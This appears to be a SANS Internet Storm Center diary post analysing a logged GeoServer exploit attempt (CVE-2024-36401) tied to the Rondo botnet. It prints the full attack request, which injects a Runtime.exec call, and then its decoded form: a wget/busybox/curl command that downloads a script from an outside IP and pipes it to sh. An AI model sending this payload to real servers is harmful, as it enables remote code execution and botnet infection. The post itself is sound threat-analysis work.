Rondo Meets Geoserver

    Published: 2026-07-22. Last Updated: 2026-07-22 17:35:33 UTC
    by Johannes Ullrich (Version: 1)
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    This isn't a new attack, but something I saw "pop-up" in our logs this week:

    GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27) HTTP/1.1
    Host: [redeacted]:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0
    Connection: close
    Accept: */*

    This attack is associated with CVE-2024-36401, an X-Path expression evaluation issue in Geoserver. Geoserver is a tool used to manage and manipulate data for geographic information systems ("maps").

    URL decoding the URL leads to 

    /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'bash -c {echo,KHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo}|{base64,-d}|sh')

    And base64 decoding the string gets us:

    (wget -qO- http://45.153.34.153/rondo.``zyt.sh||busybox wget -qO- http://45.153.34.153/rondo.``zyt.sh||curl -s http://45.153.34.153/rondo.``zyt.sh)|sh

    So what we have is the "good old" Rondo botnet. It has been seen going after Geoserver before. Rondo is often playing little tricks with referense to rappers [1]. In this case, it looks like the botnet was kicked out form the host, and now returns:

    <!-- You won't find it here -->
    <!DOCTYPE html>
    <html lang="en">
    <head>
      <meta charset="UTF-8" />

    or maybe it is still there (see first line?), just not as visible? Makes me miss some of the defacement wars from the late 90s.

     

    ---
    Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
    Twitter|

    Keywords: rondo geo server
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    ISC Stormcast For Wednesday, July 22nd, 2026 https://isc.sans.edu/podcastdetail/10018

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